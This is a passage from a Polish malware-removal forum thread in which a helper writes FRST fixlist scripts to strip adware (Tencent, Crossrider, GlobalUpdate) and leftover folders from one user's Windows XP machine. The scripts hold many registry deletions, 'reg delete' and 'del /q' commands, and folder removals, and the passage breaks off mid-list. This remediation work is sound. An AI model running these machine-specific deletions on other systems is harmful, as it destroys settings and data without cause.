zintegrowane programy ASUS AsusVibe2.0, WebStorage, co zredukuje ilość uruchamianych procesów. WebStorage zresztą znany z generowana błędów w eksploratorze Windows. 2. Wyłącz crack Office i aktualizatory ASUS w Harmonogramie zadań. Uruchom Autoruns i w karcie Scheduled Tasks odznacz te pozycje: Task: {4167E53F-2364-436F-B7E5-E68052344202} - System32\Tasks\IORRT => C:\IORRT\IORRT.bat [2014-11-11] () Task: {43AD02B5-464D-4394-A4F4-5F28253F431A} - System32\Tasks\Hybrid => C:\IORRT\IORRT.bat [2014-11-11] () Task: {CD950988-52E6-44EF-9B53-2914411E6768} - System32\Tasks\ASUS Live Update2 => C:\Program Files (x86) [2015-07-13] () Task: {E7E663E0-6CE0-40DA-8DB1-2C91B5BC1369} - System32\Tasks\ASUS Live Update1 => C:\Program Files (x86) [2015-07-13] () Po tym zresetuj system. PS. W spoilerze doczyszczanie mikro szczątków adware i wpisów pustych. To nie ma związku ze zgłaszanymi problemami i nie wpłynie na poprawę stanu systemu.
  16. picasso
    Fix FRST jest jednorazowego użytku i nie wolno go powtarzać, nie przetworzy ponownie po raz drugi tego samego. Zadany został uruchomiony dwa razy i to co tu widzę to już drugie bezużyteczne podejście, log na dodatek urwany zaraz na początku. Poproszę o log z poprzedniego podejścia. Wejdź do katalogu C:\FRST\Logs, ułóż logi wg nazwy, wyszukaj pliki o modelu nazwy Fixlog_data_czas. Otwórz w Notatniku pliki i szukaj tego który ma w nagłówku: Ran by Krzysztof (2015-10-30 19:44:44) Run:3 Ten plik jest tym o który mi chodzi.
  17. picasso
    W raportach nie widać żadnych jawnych oznak infekcji, z wyjątkiem tego że w GMER jest jakiś "podejrzany moduł" załadowany do explorer.exe, tylko nawet nie widać w jakiej ścieżce (bug z obcięciem ścieżki). Z tym że ten odczyt nie musi być związany z żadną infekcją. Są tu zainstalowane trzy przeglądarki wtórne: Google Chrome, Firefox, Opera. Domyślną jest Firefox. W której przeglądarce występują przekierowania, a może we wszystkich?
  18. picasso
    Kolejna porcja usuwania. Otwórz Notatnik i wklej w nim: DeleteKey: HKCU\Software\_CrossriderRegNamePlaceHolder_ DeleteKey: HKCU\Software\Crossrider DeleteKey: HKCU\Software\DAILYPCCLEAN DeleteKey: HKCU\Software\GlobalUpdate DeleteKey: HKCU\Software\GoHD DeleteKey: HKCU\Software\InstalledBrowserExtensions DeleteKey: HKCU\Software\Mozilla\Extends DeleteKey: HKCU\Software\OB DeleteKey: HKCU\Software\PRODUCTSETUP DeleteKey: HKCU\Software\Reg\Clean DeleteKey: HKCU\Software\Tencent DeleteKey: HKCU\Software\Tutorials DeleteKey: HKCU\Software\TutoTag DeleteKey: HKCU\Software\Yahoo\Companion DeleteKey: HKCU\Software\Yahoo\YFriendsBar DeleteKey: HKLM\SOFTWARE\76b8b9df-7995-40ea-95a1-f80de3274052 DeleteKey: HKLM\SOFTWARE\c66e83ef-420b-4913-9bf6-d3e0763c09b8 DeleteKey: HKLM\SOFTWARE\ebf2cd08-ec58-499d-be2a-c13dcc616e42 DeleteKey: HKLM\SOFTWARE\Classes\AppID\{3278F5CF-48F3-4253-A6BB-004CE84AF492} DeleteKey: HKLM\SOFTWARE\Classes\AppID\{577975B8-C40E-43E6-B0DE-4C6B44088B52} DeleteKey: HKLM\SOFTWARE\Classes\AppID\{51BEE30D-EEC8-4BA3-930B-298B8E759EB1} DeleteKey: HKLM\SOFTWARE\Classes\AppID\DownloadProxy.EXE DeleteKey: HKLM\SOFTWARE\Classes\AppID\globalupdate.exe DeleteKey: HKLM\SOFTWARE\Classes\Applications\QMDeskTopGC.exe DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{29B6CFD5-0064-411A-8C42-9890C83F9921} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{3278F5CF-48F3-4253-A6BB-004CE84AF492} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{3B5702BA-7F4C-4D1A-B026-1E9A01D43978} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{459DD0F7-0D55-D3DC-67BC-E6BE37E9D762} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{4C097DF1-0716-4FA1-84A9-025BC1E7B03F} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{5645E0E7-FC12-43BF-A6E4-F9751942B298} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{577975B8-C40E-43E6-B0DE-4C6B44088B52} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{5E89ACE9-E16B-499A-87B4-0DBF742404C1} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{69F256DF-BA98-45E9-86EA-FC3CFECF9D30} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{6E87FC94-9866-49B9-8E93-5736D6DE3DD7} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{6EDBF8C0-C94C-4A13-956F-E393BCA5BA4B} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{70DE12EA-79F4-46BC-9812-86DB50A2FD64} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{7E49F793-B3CD-4BF7-8419-B34B8BD30E61} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{834469E3-CA2B-4F21-A5CA-4F6F4DBCDE87} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{8529FAA3-5BFD-43C1-AB35-B53C4B96C6E5} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{88260EA6-BC91-42DF-ABEF-4A683E8A3C23} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{ADBC39BE-3D20-4333-8D99-E91EB1B62474} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{C7BF8F4B-7BC7-4F42-B944-3D28A3A86D8A} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{CFC47BB5-5FB5-4AD0-8427-6AA04334A3FC} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{D4801E96-E7A1-45F6-B124-7A36DFB40B81} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{E06CA7F5-BA34-4FF6-8D24-B1BDC594D91F} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{E0ADB535-D7B5-4D8B-B15D-578BDD20D76A} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{F6421EE5-A5BE-4D31-81D5-C16B7BF48E4C} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{FD8E81D0-F5FE-4CB1-9AEA-1E163D2BAB78} DeleteKey: HKLM\SOFTWARE\Classes\CLSID\{F83D1872-D9FF-47F8-B5A0-49CC51E24EE8} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{023E9EC8-B147-40EB-B0B3-DF90618FB371} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{0522D9A4-4D57-437D-978D-E5B3B6C9005D} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{07F41522-AF7D-4F26-B394-094F059FDB8A} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{0C40F472-7407-4467-8914-1DEA7C326972} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{212E6D43-6062-492A-B8CC-144669FF11ED} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{224FE662-1E6D-4BC0-AEBB-9E2FB4057BE9} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{3A807417-B46D-4D37-8C9A-19AC6DE204F9} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{3CC60715-D6C5-429D-830E-43FA3F86C61D} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{4517D94C-19BA-46FA-BE66-2A30CEAC4A85} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{555D7146-94A8-4C94-AE76-C39CDC7F7705} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{59D188FA-757A-424E-8C93-F58FFD896BD7} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{8120D9D6-785C-4413-9C0C-DF2028C56FAD} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{823AE2EB-E62C-4847-B192-C99B91B92416} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{9B4F7CFE-987D-410E-A8E4-20182E0B3C24} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{9B9A45F4-18FC-484A-BACA-076D78273D8E} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{A6D54287-7939-466A-8579-92546D946C8C} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{A78EDAFB-926F-4D93-AB13-8232D7378EB1} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{A8F7D0A5-7074-40B8-9BDC-1174BDD0A132} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{D14D64BC-A0E4-42E3-BB72-FB41EA43C198} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{DD1F043F-ABC8-4643-8B95-D2C5B22BB019} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{E3F3E8F9-F747-4DD6-BA6B-82A6CE1E0860} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{E7270EC6-0113-4A78-B610-E501D0A9E48E} DeleteKey: HKLM\SOFTWARE\Classes\Interface\{ED0B64D4-BF27-4521-AD27-190F49BF5EA7} DeleteKey: HKLM\SOFTWARE\Classes\TypeLib\{445E3964-15B0-472A-95F4-6242DD2EA066} DeleteKey: HKLM\SOFTWARE\Classes\TypeLib\{8519F1E4-E25B-42B1-B361-0C643F45CF11} DeleteKey: HKLM\SOFTWARE\Classes\TypeLib\{C049F583-D724-4BAB-8F47-F13BCA41B808} DeleteKey: HKLM\SOFTWARE\Classes\TypeLib\{DA624F8F-98BF-4B03-AD11-A12D07119E81} DeleteKey: HKLM\SOFTWARE\Classes\.qbox DeleteKey: HKLM\SOFTWARE\Classes\globalUpdate.OneClickCtrl.10 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdate.OneClickProcessLauncherMachine DeleteKey: HKLM\SOFTWARE\Classes\globalUpdate.OneClickProcessLauncherMachine.1.0 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdate.Update3WebControl.4 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.CoCreateAsync DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.CoCreateAsync.1.0 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.CoreClass DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.CoreClass.1 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.CoreMachineClass DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.CoreMachineClass.1 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.CredentialDialogMachine DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.CredentialDialogMachine.1.0 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.OnDemandCOMClassMachine DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.OnDemandCOMClassMachine.1.0 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.OnDemandCOMClassMachineFallback DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.OnDemandCOMClassMachineFallback.1.0 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.OnDemandCOMClassSvc DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.OnDemandCOMClassSvc.1.0 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.ProcessLauncher DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.ProcessLauncher.1.0 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.Update3COMClassService DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.Update3COMClassService.1.0 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.Update3WebMachine DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.Update3WebMachine.1.0 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.Update3WebMachineFallback DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.Update3WebMachineFallback.1.0 DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.Update3WebSvc DeleteKey: HKLM\SOFTWARE\Classes\globalUpdateUpdate.Update3WebSvc.1.0 DeleteKey: HKLM\SOFTWARE\Classes\METNSD DeleteKey: HKLM\SOFTWARE\Classes\PCMgrRepairIEExtensions DeleteKey: HKLM\SOFTWARE\Classes\qmbfile DeleteKey: HKLM\SOFTWARE\Classes\qmgcfiles DeleteKey: HKLM\SOFTWARE\Classes\QQPCMgr.qbox DeleteKey: HKLM\SOFTWARE\Classes\YBrowserToolbar.YBrowserToolbar.1 DeleteKey: HKLM\SOFTWARE\Classes\YBrowserToolbar.YBrowserToolbar DeleteKey: HKLM\SOFTWARE\Microsoft\Esent\Process\crossbrowse DeleteKey: HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{16EE6530-8649-4F42-A9E4-F6A3295AF975} DeleteKey: HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{5645E0E7-FC12-43BF-A6E4-F9751942B298} DeleteKey: HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{5E89ACE9-E16B-499A-87B4-0DBF742404C1} DeleteKey: HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C7BF8F4B-7BC7-4F42-B944-3D28A3A86D8A} DeleteKey: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\Stats\{5645E0E7-FC12-43BF-A6E4-F9751942B298} DeleteKey: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\Stats\{C7BF8F4B-7BC7-4F42-B944-3D28A3A86D8A} DeleteKey: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{5645E0E7-FC12-43BF-A6E4-F9751942B298} DeleteKey: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{C7BF8F4B-7BC7-4F42-B944-3D28A3A86D8A} DeleteKey: HKLM\SOFTWARE\_CrossriderRegNamePlaceHolder_ DeleteKey: HKLM\SOFTWARE\downchecker DeleteKey: HKLM\SOFTWARE\Crossrider DeleteKey: HKLM\SOFTWARE\FFPluginHp DeleteKey: HKLM\SOFTWARE\GlobalUpdate DeleteKey: HKLM\SOFTWARE\GoHD DeleteKey: HKLM\SOFTWARE\Google\Chrome\NativeMessagingHosts\com.qq.qmchext DeleteKey: HKLM\SOFTWARE\InstalledBrowserExtensions DeleteKey: HKLM\SOFTWARE\ihpmserver DeleteKey: HKLM\SOFTWARE\RayDld DeleteKey: HKLM\SOFTWARE\Reg\Clean DeleteKey: HKLM\SOFTWARE\SavePass 1.1 DeleteKey: HKLM\SOFTWARE\sweet-pageSoftware DeleteKey: HKLM\SOFTWARE\Tencent DeleteKey: HKLM\SOFTWARE\Tutorials DeleteKey: HKLM\SOFTWARE\Yahoo\Companion DeleteKey: HKLM\SOFTWARE\WdsManPro DeleteKey: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Management\ARPCache\SavePass 1.1 DeleteKey: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Management\ARPCache\GoHD DeleteKey: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GLOBALUPDATE.EXE DeleteKey: HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_QMIEPROTECT DeleteKey: HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_QQPCRTP DeleteKey: HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_TAOACCELERATOR DeleteKey: HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_TSFLTMGR DeleteKey: HKLM\SYSTEM\CurrentControlSet\Services\Eventlog\Application\WdsManPro DeleteKey: HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_QMUDISK DeleteKey: HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_QQPCRTP DeleteKey: HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_TAOACCELERATOR DeleteKey: HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_TSFLTMGR DeleteKey: HKLM\SYSTEM\ControlSet003\Enum\Root\LEGACY_QMUDISK DeleteKey: HKLM\SYSTEM\ControlSet003\Enum\Root\LEGACY_QQPCRTP DeleteKey: HKLM\SYSTEM\ControlSet003\Enum\Root\LEGACY_TAOACCELERATOR DeleteKey: HKLM\SYSTEM\ControlSet003\Enum\Root\LEGACY_TSFLTMGR DeleteKey: HKLM\SYSTEM\WifiSafeCfg DeleteKey: HKU\S-1-5-18\Software\Tencent DeleteKey: HKU\S-1-5-18\Software\Yahoo\Companion RemoveDirectory: C:\AdwCleaner RemoveDirectory: C:\Documents and Settings\All Users\Documents\ShopperPro RemoveDirectory: C:\Documents and Settings\Administrator\Application Data\Mozilla RemoveDirectory: C:\Documents and Settings\Gość\Application Data\Mozilla RemoveDirectory: C:\Documents and Settings\Krzysztof\Application Data\Mozilla\Firefox\Profiles\12h1ceb6.default-1404211074967 RemoveDirectory: C:\FRST\Quarantine Reg: reg add HKLM\SOFTWARE\Classes\Unknown\shell\openas\command /ve /t REG_EXPAND_SZ /d "%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1" /f Reg: reg delete "HKLM\SOFTWARE\Microsoft\Internet Explorer\AboutURls" /v Tab /f Reg: reg delete HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v "C:\Program Files\Tencent\QQPCMgr\10.10.16434.218\\QMDeskTopGC.exe" /f Reg: reg delete HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v "C:\Program Files\Tencent\QQPCMgr\10.10.16434.218\Uninst.exe" /f CMD: del /q "C:\Documents and Settings\Krzysztof\Desktop\Mozilla Firefox.lnk" CMD: del /q C:\WINDOWS\system32\roboot.exe EmptyTemp: Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Napraw (Fix). Nastąpi restart. Powstanie kolejny fixlog.txt. Przedstaw go.
  19. picasso
    DelFix wykonał co należy, usuń z dysku plik C:\delfix.txt. To tyle z zakresu czyszczenia systemu. Skoro już wykonywałeś tę optymalizację i nie miała ona skutków, to nie ma po co jej powtarzać. Dłuższy przestój w fazie logo Windows sugeruje długie ładowanie któregoś ze sterowników. Obecnie w Twoim systemie widać tylko sterowniki sprzętowe oraz doinstalowanych wtórnie aplikacji Avast i MBAM. Pytaniem jest czy pomiędzy deinstalacją ESET a instalacją Avast była jakaś poprawa? To są uzupełniające antywirusa programy, nie są aż takie "niezbędne". Rola Unchecky jest zresztą dość ograniczona do prewencji przed tymi działaniami: KLIK.
  20. picasso
    Nie odpowiedziałaś na pytanie: 1. Jeśli chodzi o instrukcje, to nie wszystko zostało zrobione. W punkcie 1 ominięta deinstalacja starej wersji Java. Nie ma też oznak wykonania resetu Firefox zadanego w punkcie 3 i nadal widać w Firefox adware. Oba zadania do wykonania. 2. Następnie uruchom AdwCleaner. Wybierz opcję Skanuj i dostarcz wynikowy log z folderu C:\AdwCleaner.
  21. picasso
    Prawie wszystko zrobione, z wyjątkiem trzech kluczy, których FRST nie umiał zaadresować. Teraz poprawki, w tym usuwanie folderów po różnych odinstalowanych aplikacjach. Kolejna porcja zadań: 1. Otwórz Notatnik i wklej w nim: ShellIconOverlayIdentifiers: [GGDriveOverlay1] -> {E68D0A50-3C40-4712-B90D-DCFA93FF2534} => C:\Documents and Settings\All Users\Application Data\GG\ggdrive\ggdrive-overlay.dll [2012-06-05] (GG Network S.A.) ShellIconOverlayIdentifiers: [GGDriveOverlay2] -> {E68D0A51-3C40-4712-B90D-DCFA93FF2534} => C:\Documents and Settings\All Users\Application Data\GG\ggdrive\ggdrive-overlay.dll [2012-06-05] (GG Network S.A.) ShellIconOverlayIdentifiers: [GGDriveOverlay3] -> {E68D0A52-3C40-4712-B90D-DCFA93FF2534} => C:\Documents and Settings\All Users\Application Data\GG\ggdrive\ggdrive-overlay.dll [2012-06-05] (GG Network S.A.) ShellIconOverlayIdentifiers: [GGDriveOverlay4] -> {E68D0A53-3C40-4712-B90D-DCFA93FF2534} => C:\Documents and Settings\All Users\Application Data\GG\ggdrive\ggdrive-overlay.dll [2012-06-05] (GG Network S.A.) FF Plugin: @oberon-media.com/ONCAdapter -> C:\Program Files\Common Files\Oberon Media\NCAdapter\1.0.0.8\npapicomadapter.dll [2011-05-24] (Oberon-Media ) FF Plugin HKU\S-1-5-21-1960408961-682003330-839522115-1004: @Skype Limited.com/Facebook Video Calling Plugin -> C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Facebook\Video\Skype\npFacebookVideoCalling.dll [No File] DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_55-windows-i586.cab DPF: {CAFEEFAC-0017-0000-0055-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_55-windows-i586.cab DPF: {CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_55-windows-i586.cab Reg: reg add HKLM\SOFTWARE\Clients\StartMenuInternet\chrome.exe\shell\open\command /ve /t REG_SZ /d "\"C:\Program Files\Google\Chrome\Application\chrome.exe"" /f Reg: reg delete "HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome" /f Reg: reg delete "HKU\S-1-5-19\Software\Microsoft\Internet Explorer\Main" /f Reg: reg delete "HKU\S-1-5-19\Software\Microsoft\Internet Explorer\SearchScopes" /f Reg: reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D40F6104-6988-47C0-93F2-A66D5DA120A2} /s CMD: regsvr32 /u /s "C:\Documents and Settings\All Users\Application Data\GG\ggdrive\ggdrive-overlay.dll" C:\Documents and Settings\All Users\Application Data\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.dat C:\Documents and Settings\All Users\Application Data\Ament.ini C:\Documents and Settings\All Users\Application Data\Microsoft.SqlServer.Compact.351.32.bc C:\Documents and Settings\All Users\Application Data\{429CAD59-35B1-4DBC-BB6D-1DB246563521} C:\Documents and Settings\All Users\Application Data\aliasworlds C:\Documents and Settings\All Users\Application Data\Ashampoo C:\Documents and Settings\All Users\Application Data\Autodesk C:\Documents and Settings\All Users\Application Data\AVAST Software C:\Documents and Settings\All Users\Application Data\Big Fish C:\Documents and Settings\All Users\Application Data\Big Fish Games C:\Documents and Settings\All Users\Application Data\BigFishCache C:\Documents and Settings\All Users\Application Data\BigFishGamesCache C:\Documents and Settings\All Users\Application Data\casualArts C:\Documents and Settings\All Users\Application Data\Corel C:\Documents and Settings\All Users\Application Data\CorelDRAW Graphics Suite X5 C:\Documents and Settings\All Users\Application Data\CorelDRAW Graphics Suite X6 C:\Documents and Settings\All Users\Application Data\DailyMagic C:\Documents and Settings\All Users\Application Data\Devart C:\Documents and Settings\All Users\Application Data\DWdsManProD C:\Documents and Settings\All Users\Application Data\Elephant Games C:\Documents and Settings\All Users\Application Data\FarmFrenzy3 C:\Documents and Settings\All Users\Application Data\FarmFrenzy_Vikings C:\Documents and Settings\All Users\Application Data\firebird C:\Documents and Settings\All Users\Application Data\FreeHideIP C:\Documents and Settings\All Users\Application Data\Fugazo C:\Documents and Settings\All Users\Application Data\Gadu-Gadu 10 C:\Documents and Settings\All Users\Application Data\GG C:\Documents and Settings\All Users\Application Data\GoBit Games C:\Documents and Settings\All Users\Application Data\Gogii C:\Documents and Settings\All Users\Application Data\Komputerowa Gratka C:\Documents and Settings\All Users\Application Data\Malwarebytes C:\Documents and Settings\All Users\Application Data\Maximize Games C:\Documents and Settings\All Users\Application Data\McAfee C:\Documents and Settings\All Users\Application Data\MediaArt C:\Documents and Settings\All Users\Application Data\MumboJumbo C:\Documents and Settings\All Users\Application Data\NCH Software C:\Documents and Settings\All Users\Application Data\Norton C:\Documents and Settings\All Users\Application Data\NortonInstaller C:\Documents and Settings\All Users\Application Data\OpenFM C:\Documents and Settings\All Users\Application Data\Oberon Media C:\Documents and Settings\All Users\Application Data\Odian C:\Documents and Settings\All Users\Application Data\Orchid Games C:\Documents and Settings\All Users\Application Data\PITy C:\Documents and Settings\All Users\Application Data\PlayFirst C:\Documents and Settings\All Users\Application Data\PlayPond C:\Documents and Settings\All Users\Application Data\Playrix Entertainment C:\Documents and Settings\All Users\Application Data\regid.1986-12.com.adobe C:\Documents and Settings\All Users\Application Data\rionix C:\Documents and Settings\All Users\Application Data\ScreenVCR C:\Documents and Settings\All Users\Application Data\ShopperPro C:\Documents and Settings\All Users\Application Data\Skype Extras C:\Documents and Settings\All Users\Application Data\SpecialBit C:\Documents and Settings\All Users\Application Data\SulusGames C:\Documents and Settings\All Users\Application Data\Sun C:\Documents and Settings\All Users\Application Data\Tencent C:\Documents and Settings\All Users\Application Data\TaxMachine C:\Documents and Settings\All Users\Application Data\Top Evidence C:\Documents and Settings\Krzysztof\Application Data\Adobe GIF Format CS5 Prefs C:\Documents and Settings\Krzysztof\Application Data\Adobe PNG Format CS5 Prefs C:\Documents and Settings\Krzysztof\Application Data\Sys2662.Config.Repository.bin C:\Documents and Settings\Krzysztof\Application Data\.mono C:\Documents and Settings\Krzysztof\Application Data\11732 C:\Documents and Settings\Krzysztof\Application Data\2monkeys C:\Documents and Settings\Krzysztof\Application Data\A2 Entertainment C:\Documents and Settings\Krzysztof\Application Data\Alawar Entertainment C:\Documents and Settings\Krzysztof\Application Data\AlawarEntertainment C:\Documents and Settings\Krzysztof\Application Data\aliasworlds C:\Documents and Settings\Krzysztof\Application Data\ArcSoft C:\Documents and Settings\Krzysztof\Application Data\Artifex Mundi C:\Documents and Settings\Krzysztof\Application Data\Artogon C:\Documents and Settings\Krzysztof\Application Data\Ashampoo C:\Documents and Settings\Krzysztof\Application Data\Autodesk C:\Documents and Settings\Krzysztof\Application Data\Awem C:\Documents and Settings\Krzysztof\Application Data\BlamGames C:\Documents and Settings\Krzysztof\Application Data\BlueLabsSoftware C:\Documents and Settings\Krzysztof\Application Data\CallingID C:\Documents and Settings\Krzysztof\Application Data\casualArts C:\Documents and Settings\Krzysztof\Application Data\com.adobe.downloadassistant.AdobeDownloadAssistant C:\Documents and Settings\Krzysztof\Application Data\Corel C:\Documents and Settings\Krzysztof\Application Data\DailyMagic C:\Documents and Settings\Krzysztof\Application Data\Dark Blue Games C:\Documents and Settings\Krzysztof\Application Data\DarkManor C:\Documents and Settings\Krzysztof\Application Data\Desktop Apps C:\Documents and Settings\Krzysztof\Application Data\Devart C:\Documents and Settings\Krzysztof\Application Data\DominiGames C:\Documents and Settings\Krzysztof\Application Data\DonationCoder C:\Documents and Settings\Krzysztof\Application Data\e-Deklaracje C:\Documents and Settings\Krzysztof\Application Data\e-Deklaracje.A1909296681C7ACEFE45687D3A64758C8659BF46.1 C:\Documents and Settings\Krzysztof\Application Data\Eipix C:\Documents and Settings\Krzysztof\Application Data\Elephant Games C:\Documents and Settings\Krzysztof\Application Data\Enlightenus2SE_BFG C:\Documents and Settings\Krzysztof\Application Data\EntwinedSoD C:\Documents and Settings\Krzysztof\Application Data\ERS Game Studios C:\Documents and Settings\Krzysztof\Application Data\FabrykaGier C:\Documents and Settings\Krzysztof\Application Data\FabrykaGierNew C:\Documents and Settings\Krzysztof\Application Data\FarmerJane C:\Documents and Settings\Krzysztof\Application Data\FlowerOfImmortality C:\Documents and Settings\Krzysztof\Application Data\FlyWheelGames C:\Documents and Settings\Krzysztof\Application Data\FreeHideIP C:\Documents and Settings\Krzysztof\Application Data\Freeze Tag C:\Documents and Settings\Krzysztof\Application Data\Friday's games C:\Documents and Settings\Krzysztof\Application Data\Funswitch C:\Documents and Settings\Krzysztof\Application Data\Fuzzy Bug Interactive C:\Documents and Settings\Krzysztof\Application Data\GameInvest C:\Documents and Settings\Krzysztof\Application Data\GameMill Entertainment C:\Documents and Settings\Krzysztof\Application Data\GHISLER C:\Documents and Settings\Krzysztof\Application Data\Ghost Ship Studios C:\Documents and Settings\Krzysztof\Application Data\GlarySoft C:\Documents and Settings\Krzysztof\Application Data\gtk-2.0 C:\Documents and Settings\Krzysztof\Application Data\Happy Chef C:\Documents and Settings\Krzysztof\Application Data\HdO Adventure C:\Documents and Settings\Krzysztof\Application Data\Hidden Objects Romance C:\Documents and Settings\Krzysztof\Application Data\HitPoint Studios C:\Documents and Settings\Krzysztof\Application Data\Kestrel C:\Documents and Settings\Krzysztof\Application Data\Lazy Turtle Games C:\Documents and Settings\Krzysztof\Application Data\Leadertech C:\Documents and Settings\Krzysztof\Application Data\Legacy Games C:\Documents and Settings\Krzysztof\Application Data\LegacyInteractive C:\Documents and Settings\Krzysztof\Application Data\LittleGamesCompany C:\Documents and Settings\Krzysztof\Application Data\Loop Terminarz C:\Documents and Settings\Krzysztof\Application Data\MagicIndie C:\Documents and Settings\Krzysztof\Application Data\Malwarebytes C:\Documents and Settings\Krzysztof\Application Data\Mariaglorum C:\Documents and Settings\Krzysztof\Application Data\Maximize Games C:\Documents and Settings\Krzysztof\Application Data\MediaArt C:\Documents and Settings\Krzysztof\Application Data\ModelViews C:\Documents and Settings\Krzysztof\Application Data\Monkey Barrel Games C:\Documents and Settings\Krzysztof\Application Data\MumboJumbo C:\Documents and Settings\Krzysztof\Application Data\MySQL-Front C:\Documents and Settings\Krzysztof\Application Data\MysteriousCaseOfJekyllAndHyde C:\Documents and Settings\Krzysztof\Application Data\Namco C:\Documents and Settings\Krzysztof\Application Data\NCH Software C:\Documents and Settings\Krzysztof\Application Data\New Version Available C:\Documents and Settings\Krzysztof\Application Data\npm C:\Documents and 